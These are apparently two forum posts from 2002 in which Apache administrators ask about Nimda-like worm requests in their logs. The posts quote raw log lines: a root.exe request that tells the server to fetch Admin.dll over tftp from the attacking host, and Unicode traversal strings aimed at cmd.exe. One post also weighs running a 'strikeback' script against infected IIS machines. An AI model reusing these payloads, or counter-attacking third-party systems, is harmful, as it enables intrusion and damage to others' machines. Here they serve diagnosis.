    Ok, this has been driving me nuts. Found these line in my Apache
 logs lately;
4.41.54.56 - - [23/Feb/2002:08:26:20 -0800] "GET
/scripts/root.exe?/c+tftp%20-i%204.41.54.56%20GET%20Admin.dll%20Admin.
dll HTTP/1.0" 200 2701
4.41.54.56 - - [23/Feb/2002:08:26:22 -0800] "GET /scripts/Admin.dll
HTTP/1.0" 404 295

    Seemingly pointing at a specific IP. Several times now I've seen
this IP and others, as well as the usual bunk nimda lines. What the
heck is it, and does it in fact point to a collection point?
    Also, what is the opinion of running IIS shutdown perl scripts?
The so-called Strikeback Script? On the one hand, it seems it might
get the attention of the owner of the hacked IIS system, on the
other...some unsaved info could be lost on the IIS machine, assuming
the script even works.
    I'm currently searching for a Notification Script, of the type
mentioned elsewhere in this thread, if anyone has it on an FTP.

Subject: Wave of Nimda-like hits this morning?

Hey,
I've had multiple clients' Solaris boxes crashing this morning from
what appears to be a Nimda-like 'scripts/..%5c../root.exe', and the
usual.
The same old unicode characters are present [%2f, %5c] but a new one
has
appeared I haven't seen yet. This line:

'
/msadc/..%5c../..%5c../..%5c/..Á../..Á../..Á../winnt/system32/cmd.e
xe '

appears a few times and I'm not quite sure what to make of it...

Please keep in mind that came from a Solaris box, Apache log.
Whatever this (maybe) new bug is, it's blowing up these boxes left
and
right...can't figure it out. They're all relatively new 1.3'ish
versions I
think.

Anyone else seeing anything weird?
